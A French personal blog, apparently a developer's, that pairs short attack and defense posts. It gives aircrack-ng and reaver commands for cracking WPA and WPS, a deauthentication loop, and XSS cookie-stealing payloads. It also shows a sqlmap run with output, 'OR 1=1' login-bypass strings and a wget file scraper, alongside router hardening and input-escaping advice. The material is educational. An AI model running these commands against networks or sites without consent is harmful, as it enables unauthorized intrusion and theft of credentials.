Piratage Wi-Fi

mars 5, 2018

Voici 2 façons pour pirater un routeur et un script pour déconnecter quelqu'un d'un routeur.

---[Étapes communes]---



#Fermer les logiciels utilisés par la carte réseau
airmon-ng check kill

# Commencer l'espionnage
airmon-ng start wlan0

# Regarder la liste de réseaux et noter BSSID
airodump-ng wlan0mon

---[Méthode 1: Cracker le mot de passe]---


# Enregistrer l'information du "handshake"
airodump-ng --ignore-negative-one -c [channel] -w wifi-hack.cap --bssid "[macofrouter]" wlan1mon

# Déconnecter la station du routeur 10 fois ou jusqu'à "handshake"
aireplay-ng --deauth 10 --ignore-negative-one -a [BSSID] wlan0mon [-c station optional] wlan1mon

# wpa handshake se produit (BSSID)

# cracker le mot de passe
aircrack-ng [path to cap file] -w [passwordlist]

---[Méthode 2: Pixie Dust(WPS)]---


# -vv is est pour verbose, K est pour pixie-dust = [number]
# [1] Démarrer pixiewps avec PKE, PKR, E-Hash1, E-Hash2 and E-Nonce (Ralink, Broadcom, Realtek)
reaver -i wlan0mon -b [BSSID] -vv -K 1

---[Méthode 3: Déconnexion du client]---


loop:
 aireplay-ng -0 5 -a [MAC] -c [station mac address] [wlan0mon];
 sleep 3 secs

Protection Wi-Fi

septembre 25, 2017

La protection de votre Wi-Fi commence par le point d’accès : le routeur.

Vous aurez besoin de configurer plusieurs paramètres, voici la liste de contrôle:

  1. Changer le nom d'administrateur du routeur
  2. Changer le mot de passe d’administrateur du routeur
  3. Changer le SSID (nom identifiant le point d’accès) à un autre nom
  4. Activer l'encryption: WPA2 (Ne pas utiliser WEP car il est obsolète)
  5. Activer le pare-feu du routeur pour une protection automatisée
  6. Fermer l'accès "Guest" de votre routeur
  7. Mettre à jour le firmware du routeur
  8. Fermer WPS (Wi-Fi protected setup) du routeur
  9. Fermer la diffusion SSID
  10. Désactiver DHCP et configurer chacun des IP connectés
  11. Seulement permettre des connections à adresse MAC de se connecter au routeur
  12. Connecter votre routeur à un VPN

Protection contre les injections XSS

septembre 24, 2017

Voici un exemple de contenu généré par l'utilisateur, soit un message que l'on affiche sur un forum.

La façon la plus simple de filtrer et de nous protéger des attaques XSS est d'enlever les tags de l'affichage, ce qui invalide complètement le contenu HTML.

<?php
    $query = $mysqli->query(" SELECT Name FROM City ORDER BY ID LIMIT 5 ");
     while ( $row = mysqli_fetch_array($res, MYSQLI_BOTH) ) {
          $row['Name'] = '<p><?php echo '<a href="#">TEST</a>'; ?></p>'
?>

          <p><?php echo strip_tags($row['Name']); ?></p>
becomes:          
          <p><?php echo 'TEST'; ?></p>

<?php
     }
?>

Piratage par Injections XSS

septembre 24, 2017

Le scriptage à sources entrecroisées (XSS) est un trou de sécurité qui permet à un pirate d'injecter un script malicieux dans notre application.

Voici une simple sortie de données de notre application:

<?php
    $query = $mysqli->query(" SELECT Name FROM City ORDER BY ID LIMIT 5 ");
     while ( $row = mysqli_fetch_array($res, MYSQLI_BOTH) ) {
?>
          <p><?php echo $row['Name']; ?></p>
<?php
     }
?>

Aussi inoffensif que cela puisse paraître, il existe un danger potentiel d'injections XSS.

Qu'arriverait-il si la rangée contenait du HTML, alors il peux aussi contenir des scripts!

<?php
    $query = $mysqli->query(" SELECT Name FROM City ORDER BY ID LIMIT 5 ");
     while ( $row = mysqli_fetch_array($res, MYSQLI_BOTH) ) {
?>
          <p><?php echo $row['Name']; ?></p>
becomes:          
          <p><?php echo '<script src="malicious-script.js" type="text/javascript"></script>'; ?></p>
or:
          <p><?php echo '<img src="http://url.to.file.which/not.exist" onerror="alert(document.cookie);" />'; ?></p>

<?php
     }
?>

Protection contre les Injections SQL

septembre 24, 2017

Il existe plusieurs moyens de se protéger contre les injections SQL. L’élément le plus important consiste à appliquer la protection sur chacun des paramètres de l'application entière. Un seul paramètre non protégé laisse l'application ouverte à une intrusion.

Style orienté objet

/* this query with escaped $city will work */
$city = $mysqli->real_escape_string($city);
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", $mysqli->affected_rows);
}

Style procédural

/* this query with escaped $city will work */
$city = mysqli_real_escape_string($link, $city);
if (mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", mysqli_affected_rows($link));
}

Nous barrons ainsi le résultat contenu dans une string de paramètres.

Entrées sécurisées!

Pirater avec des Injections SQL

septembre 24, 2017

Voici l'artillerie lourde pour les injections SQL :

sqlmap -u http://luclaverdure.com/wp-admin --time-sec 15

      __H__
 ___ ___[,]_____ ___ ___  {1.1.9#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:26:44

[07:26:45] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] y
[07:26:58] [INFO] testing connection to the target URL
sqlmap got a 301 redirect to 'http://luclaverdure.com/wp-admin/'. Do you want to follow? [Y/n] y
[07:27:05] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[07:27:35] [WARNING] turning off pre-connect mechanism because of connection time out(s)
[07:27:35] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] y
[07:27:48] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
[07:27:48] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[07:28:20] [CRITICAL] WAF/IPS/IDS identified as 'Generic (Unknown)'
[07:28:20] [WARNING] WAF/IPS/IDS specific response can be found in '/tmp/sqlmapnu5FKO3050/sqlmapresponse-2sf3SM'. If you know the details on used protection please report it along with specific response to 'dev@sqlmap.org'
are you sure that you want to continue with further target testing? [y/N] y
[07:28:42] [WARNING] please consider usage of tamper scripts (option '--tamper')
[07:28:42] [INFO] testing if the target URL is stable
[07:28:45] [WARNING] URI parameter '#1*' does not appear to be dynamic
[07:28:46] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[07:28:47] [INFO] testing for SQL injection on URI parameter '#1*'
[07:28:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:28:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[07:28:55] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'
[07:29:05] [WARNING] there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests
[07:29:05] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[07:29:36] [CRITICAL] connection timed out to the target URL
[07:29:46] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[07:30:16] [CRITICAL] connection timed out to the target URL
[07:30:26] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[07:30:56] [CRITICAL] connection timed out to the target URL

Une injection SQL est basée sur un paramètre, celui d'un champ de formulaire dans ce cas.

Prenons l'exemple suivant dans lequel nous cherchons des informations sur une ville de la base de données :

$mysqli = new mysqli("localhost", "my_user", "my_password", "test");
$result = mysqli_query($link, "SELECT DATABASE()");
$more = $mysqli->query("SELECT * FROM City WHERE x=".$_GET['parameter'].";");

Le paramètre attendu est un chiffre.

Par contre, qu'arriverait-il si celui-ci était :

0 OR 1=1; --

Nous faisons face à un sérieux danger, car cela valide la requête et met en commentaires la suite de la requête.

Vous l'avez bien deviné, la même technique peut être appliquée à un formulaire d'authentification :

'SELECT user WHERE id='.$_GET['id'].' AND password="'.md5($_GET['pwd']).'";

Notre injecteur SQL :

1' OR 1=1; --

Devient alors :

'SELECT user WHERE id='1' OR 1=1; --' AND password="'.md5($_GET['pwd']).'";

Faisant en sorte que le mot de passe est ignoré!

Protection des fichiers privés

septembre 24, 2017

Afin de nous protéger d'une fuite de documents privés, nous avons besoin de comprendre l'architecture et la structure des répertoires informatiques.

Structure des répertoires :

[chroot]
+  ->  [htdocs]  -> [page.htm]
|                -> [access-private.php]
|                -> [public uploads] -> [public-report1.pdf]
+  ->  [private] -> [private-report.pdf]

Puisque le dossier uploads est au même niveau que celui de htdocs, il est accessible au public.

http://luclaverdure.com/../private/test

L'utilisateur ne peut pas accéder aux fichiers parents ou au même niveau que htdocs.

Si nous ne pouvons pas accéder au fichier, comment pourra-t-il être consulté par le personnel autorisé?

Nous allons devoir nous assurer que l'utilisateur est bien authentifié et qu'il peut lire le fichier, seulement si son identité est acceptée.

En pseudocode, access-private.php :

if ( is_user_logged_in() && user_has_access_right('private-reports') ) {
    file_get_contents('../private/private-report.pdf', FILE_USE_INCLUDE_PATH);
}

Assurez-vous que les paramètres chroot d'Apache sont au niveau inférieur à celui de htdocs, et voilà! Il est maintenant secret et sécuritaire.

Piratage de fichiers privés

septembre 24, 2017

Voici un fichier qui permet à un utilisateur de balayer votre site Web au complet à la recherche d’un type de fichier spécifié dans le but de le(s) télécharger :

wscanner.sh:

wget -e robots=off -nd -nv -r -A $1 http://$2

Utilité :

./wscanner.sh .pdf luclaverdure.com


Curriculum Vitae:

Médias Sociaux :

Profile LinkedIn
Profile Stack Overflow
Profile  GitHub
© 2022 LucLaverdure.com — Tous droits réservés.